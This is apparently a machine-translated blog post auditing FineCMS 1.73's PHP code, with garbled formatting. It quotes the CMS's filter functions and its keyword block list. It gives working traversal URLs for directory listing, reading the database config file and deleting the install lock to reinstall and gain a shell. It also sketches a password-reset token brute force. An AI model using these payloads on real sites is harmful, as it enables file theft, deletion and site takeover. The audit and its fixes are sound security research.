FineCMS is a content management system developed based on PHP + MySql. It adopts the MVC design mode to implement proper separation between the business logic and the presentation layer, allowing Web designers to easily design the ideal template, plug-in-based development features are easy to use and easy to expand. It supports custom content models and member models, as well as custom fields, built-in articles, images, downloads, real estate, and product content models, the system form function allows you to easily extend the functions of message, registration, and books to associate with the content model and membership model. FineCMS provides heavyweight website construction solutions for Small and Medium sites.
I read the program code, just to learn, keep learning...
This is the latest version 1.73, which is greatly improved than the previous version 1.72 in terms of security. It adds a lot of filtering and fixes several published vulnerabilities. However, it seems that the update record is not mentioned, haha. I also read this program for the first time, but recently I have seen several articles about its vulnerabilities.
Author: Seay
Used tools: Seay PHP code audit tool
: Http://www.bkjia.com/soft/201211/35390.html
Directory:
I. Front-end (two places) + arbitrary directory browsing in the background + Arbitrary File Deletion vulnerability 2. Arbitrary File Reading Vulnerability in the background 3. Arbitrary File Deletion vulnerability in the foreground 4. full-disclosure injection in the background 5. View on the code of the password retrieval Function
Load tool scan again
Let's take a look at the filter function:
1. Core \ Model. php file
/**
* String escape Functions
*
* SQL statement command security filtering, used for character escape
* @ Access public
* @ Param mixed $ value refers to the character or string to be escaped. Note: parameters support arrays.
* @ Return string | string
*/
Public static function quote_into ($ value ){
If (is_array ($ value )){
Foreach ($ value as $ key => $ string ){
$ Value [$ key] = self: quote_into ($ string );
}
} Else {
// When the parameter is a string or character
If (is_string ($ value )){
$ Value = '\ ". addslashes ($ value ).'\";
}
}
Return $ value;
}
2. Extensions \ function. php file
/**
* Security filter functions
* @ Param $ string
* @ Return string
*/
Function safe_replace ($ string ){
$ String = str_replace ('% 20', ", $ string );
$ String = str_replace ('% 27', ", $ string );
$ String = str_replace ('% 100', ", $ string );
$ String = str_replace ('*', ", $ string );
$ String = str_replace ('"', '"', $ string );
$ String = str_replace ("'", ", $ string );
$ String = str_replace ('"',", $ string );
$ String = str_replace (';', ", $ string );
$ String = str_replace ('<', '<', $ string );
$ String = str_replace ('>', '>', $ string );
$ String = str_replace ("{", ", $ string );
$ String = str_replace ('}', ", $ string );
Return $ string;
}
3. config \ attackcode. ini. php file
/**
* GET and POST illegal character filtering configuration (anti-illegal character attack)
*/
Return array (
/*
* Invalid GET parameter character filtering
*/
'Get' => array (
'Select ',
'Insert ',
'\",
'/*',
'*',
'../',
'Union ',
'Into ',
'Load _ file (',
'Outfile ',
'Script ',
),
/*
* Invalid POST value character filtering
*/
'Post' => array (
'<Script ',
'<Frame ',
'<Iframe ',
'<Style ',
),
4. The core \ Controller. php file shows that $ _ COOKIE is not filtered.
/**
* It is used to initialize the runtime environment of this class or assign values to basic variables.
*/
Public function _ construct (){
If (get_magic_quotes_runtime () set_magic_quotes_runtime (0 );
If (get_magic_quotes_gpc ()){
! Isset ($ _ COOKIE) or $ _ COOKIE = $ this-> strip_slashes ($ _ COOKIE );
} Else {
! Isset ($ _ POST) or $ _ POST = $ this-> add_slashes ($ _ POST );
! Isset ($ _ GET) or $ _ GET = $ this-> add_slashes ($ _ GET );
! Isset ($ _ SESSION) or $ _ SESSION = $ this-> add_slashes ($ _ SESSION );
}
$ This-> view = View: getInstance ();
}
There are many filtering functions, that is, the filtering is not rigorous,
I. foreground (two locations) + arbitrary directory browsing in the background + Arbitrary File Deletion Vulnerability
We can see config \ attackcode. ini. the GET and POST filter functions of the PHP file are obviously filtered out .. /not filtered \ This is returned to the upper-level directory, but the author forgot that in windows, sometimes the slash \ and the backslash/are the same,
First, we have a member Image Attachment and file attachment browsing in the front. We can use this to browse any directory.
Controllers \ member \ ContentController. php file
/**
* Attachment Management
*/
Public function attachmentAction (){
$ Type = $ this-> get ('type ');
$ Mdir = 'uploadfiles/member/'. $ this-> memberinfo ['id'].'/'; // member attachment directory
If (! File_exists ($ mdir) mkdir ($ mdir );
$ Mdir = $ type = 1? $ Mdir. 'file/': $ mdir. 'image /';
If (! File_exists ($ mdir) mkdir ($ mdir );
$ Dir = urldecode ($ this-> get ('dir '));
If (strpos ($ dir ,'../')! = False) $ this-> memberMsg (lang ('m-con-20'), url ('Member/content/attachment ', array ('type' => $ type )));
$ Dir = substr ($ dir, 0, 1) = '/'? Substr ($ dir, 1): $ dir;
$ Data = file_list: get_file_list ($ mdir. $ dir .'/');
$ List = array ();
If ($ data ){
Foreach ($ data as $ t ){
$ Dir controllable
Http://www.cnseay.com/index.php? S = member & c = content & a = attachment & dir =... \ .. \ & type = 0
Second:
When we release the package at the front end, click the attachment, browse, and capture the package to see the GET address.
A http://www.bkjia.com/index. php? C = attachment & a = album & dir = Li5cLi5cLi5cLw ==& iframe = 0 & admin = 0
Li5cLi5cLi5cLw = Base64 after decryption, it is ..\..\..\
3. Browsing any directory in the background is the same.
Http://www.cnseay.com/index.php? S = admin & c = attachment & dir = XC4u & iframe = 0
After XC4u base64 is decrypted, It is \..
4. delete any background file
The same principle.
/**
* Delete A folder
*
* @ Param string $ file_dir path of the file to be deleted
* @ Return boolean
*/
Public static function delete_dir ($ file_dir ){
If (! $ File_dir) return false;
$ Parse_dir = self: parse_dir ($ file_dir );
$ File_list = self: get_file_list ($ parse_dir );
Foreach ($ file_list as $ file ){
If (is_dir ($ parse_dir. '/'. $ file )){
Self: delete_dir ($ parse_dir. '/'. $ file );
Rmdir ($ parse_dir. '/'. $ file );
} Else {
Unlink ($ parse_dir. '/'. $ file );
}
}
Return true;
}
Fixed: complete Filtering
Ii. Arbitrary File Reading Vulnerability in the background:
Likewise, the question of slashes and backslashes is still true,
Controllers \ admin \ ThemeController. php file
Public function editAction (){
$ Dir = base64_decode ($ this-> get ('dir '));
$ Dir = substr ($ dir,-1) = DIRECTORY_SEPARATOR? Substr ($ dir, 0,-1): $ dir;
If (strpos ($ dir ,'../')! = False) $ this-> adminMsg (lang ('m-con-20 ′));
$ Name = $ this-> dir. $ dir;
If (! Is_file ($ name) $ this-> adminMsg (lang ('A-con-123 ', array ('1' => $ name )));
If ($ this-> isPostForm ()){
$ Pdir = $ this-> dir = dirname ($ name). DIRECTORY_SEPARATOR? ": Str_replace ($ this-> dir,", dirname ($ name ));
File_put_contents ($ name, stripslashes ($ _ POST ['file _ content']), LOCK_EX );
$ This-> adminMsg (lang ('success'), url ('admin/theme/Index', array ('dir' => base64_encode ($ Pdir. DIRECTORY_SEPARATOR), 3, 1, 1 );
}
$ File = file_get_contents ($ name );
$ This-> view-> assign (array (
'Name' => str_replace ($ this-> dir, ", $ name ),
'File' => $ file,
'Syntax '=> strtolower (trim (substr (strrchr ($ name,'. '), 1, 10 ))),
'Action' => 'edit ',
'Iswrite' => is_writable ($ this-> dir ),
));
$ This-> view-> display ('admin/theme_add ');
}
$ Dir controllable
Http://www.cnseay.com/index.php? S = admin & c = theme & a = edit & dir = XC4uXC4uXGNvbmZpZ1xkYXRhYmFzZS5pbmkucGhw
After XC4uXDEudHh0 base64 is decrypted, \... \ config \ database. ini. php
Fixed: complete Filtering
Iii. Foreground Arbitrary File Deletion Vulnerability
Tips for viewing the tool:
265 /**
266 * delete an attachment
267 */
268 public function delattachmentAction (){
269 $ type = $ this-> get ('type ');
270 $ mdir = 'uploadfiles/member/'. $ this-> memberinfo ['id'].'/'; // member attachment directory
271 if (! File_exists ($ mdir) mkdir ($ mdir); // possible malformed Directory Creation Vulnerability
272 $ mdir = $ type = 1? $ Mdir. 'file/': $ mdir. 'image /';
273 if (! File_exists ($ mdir) mkdir ($ mdir); // possible malformed Directory Creation Vulnerability
274 $ dir = urldecode ($ this-> get ('dir '));
275 $ dir = substr ($ dir, 0, 1) = '/'? Substr ($ dir, 1): $ dir;
276 if (realpath ($ mdir. $ dir) = false | strpos ($ dir ,'../')! = False) $ this-> memberMsg (lang ('m-con-21 ′));
277 if (file_exists ($ mdir. $ dir )){
278 if (is_dir ($ mdir. $ dir )){
279 $ this-> delDir ($ mdir. $ dir );
280 $ this-> memberMsg (lang ('success'), url ('Member/content/attachment ', array ('type' => $ type), 1 );
281} else {
282 unlink ($ mdir. $ dir); // The Arbitrary File Deletion vulnerability may exist.
283 $ this-> memberMsg (lang ('success'), url ('Member/content/attachment ', array ('type' => $ type, 'dir' => urlencode (dirname ($ dir), 1 );
284}
285} else {
286 $ this-> memberMsg (lang ('m-con-22', array ('1' => $ dir )));
287}
288}
Obviously, $ dir is controllable, that is, deleting any file. It is also a member's function to delete attachments.
Http://www.cnseay.com/finecms/index.php? S = member & c = content & a = delattachment & dir = .. % 5C % 5C .. % 5C % 5C .. % 5C % 5C .. % 5C % 5Ccache .. % 5C % 5C % 2Finstall. lock & type =
Delete the installation lock file and reinstall the program. It is easy to use shell in the background.
Fixed: complete Filtering
4. Injection of chicken ribs everywhere in the background
There are a lot of background injections, but they can only be used when "illegal character submission is prohibited" is disabled in the background,
Maybe the author makes such a switch to consider the user experience. It just shows that there is such a defect and there is no value.
Fixed: intval () or another
V. View on the code of the password retrieval Function
The controllers \ member \ Common. php file contains a function for retrieving passwords.
86 /**
87 * password retrieval email notification
88 */
89 protected function passEmail ($ username, $ email ){
90 if (empty ($ username) | empty ($ email) return false;
91 $ rand = md5 (rand (1000,999 9); // Random Number
92 $ link = $ this-> get_server_name (). url ('Member/repass/find ', array ('id' => base64_encode (time (). '| '. $ rand. '| '. md5 ($ username), 1 );
93 $ this-> member-> update (array ('randcode' => $ rand), "username = '". $ username. "'"); // SQL statements may exist. Check whether to filter
94 mail: set ($ this-> site );
95 $ content = $ this-> memberconfig ['pass _ tpl ']? $ This-> memberconfig ['pass _ tpl ']: lang ('m-com-6', array ('1' => $ username, '2' => $ link ));
96 $ content = str_replace (array ('{username}', '{link}'), array ($ username, $ link), $ content );
97 return mail: sendmail ($ email, lang ('m-com-7 ', array ('1' => $ this-> site ['site _ name']), htmlspecialchars_decode ($ content ));
98}
Its function is to generate a password retrieval link to the user's mailbox, and modify the user randcode field to generate the random number md5.
Let's analyze the password retrieval link:
$ Link = $ this-> get_server_name (). url ('Member/repass/find ', array ('id' => base64_encode (time (). '| '. $ rand. '| '. md5 ($ username), 1 );
Is the link to the code,
Get_server_name () is used to obtain the website domain name, followed by member/repass/find, followed by a random number between the timestamp time () and 1000 to 9999, And the md5 Base64 encoding of the user name, we can see that the timestamp can be collided, the random number can be collided, and the user name md5 can be seen, so we write a program, two threads simultaneously submit different user password retrieval requests, the timestamp difference is very small. Now we can probably determine the timestamp range. The user name MD5 knows. Now we need to write a program for automatic submission. Of course, we must be able to determine whether the link is correct, I remember I wrote one two days ago. I can download it from my blog. Let's change the program and add a number that will automatically generate between-9999, which will be continuously increasing, MD5 encryption, and link splicing, then, the generated link is automatically accessed. If a successful feature character is displayed, the link is successfully accessed. In this case, the password retrieval method is still risky. Of course, this method is only discussed here.
Fix: it is better to retrieve the password link in the form of md5 (username + password + other), which is better for you.
Cooki is not filtered. Let's take a look at the setting of cookies,
Cookie: set ('Member _ id', $ member ['id'], $ time );
Cookie: set ('Member _ Code', substr (md5 (SITE_MEMBER_COOKIE. $ member ['id']), 5, 20), $ time );
For example
/**
* Getting member information
*/
Protected function getMember (){
If (cookie: is_set ('Member _ id') & cookie: is_set ('Member _ Code ')){
$ Uid = cookie: get ('Member _ id ');
$ Code = cookie: get ('Member _ Code ');
If (! Empty ($ uid) & $ code = substr (md5 (SITE_MEMBER_COOKIE. $ uid), 5, 20 )){
$ _ Memberinfo = $ this-> member-> find ($ uid );
$ Member_table = $ this-> membermodel [$ _ memberinfo ['modelid'] ['tablename'];
If ($ _ memberinfo & $ member_table ){
$ _ Member = $ this-> model ($ member_table );
$ Memberdata =$ _ member-> find ($ uid );
If ($ memberdata ){
$ _ Memberinfo = array_merge ($ _ memberinfo, $ memberdata );
$ This-> memberedit = 1; // do not need to complete member information
}
If ($ this-> memberconfig ['uc _ use'] = 1 & function_exists ('uc _ api_mysql ')){
$ Uc = uc_api_mysql ('user', 'Get _ user', array ('username' = >$ _ memberinfo ['username']);
If ($ uc! = 0) $ _ memberinfo ['uid'] = $ uc [0];
}
Return $ _ memberinfo;
}
}
}
Return false;
}
This verification is better.
Don't read it. In the middle of the night, I first saw this, and later I will read this program. This article is very urgent. I will take a look at it. I am busy looking for work these days. It hurts.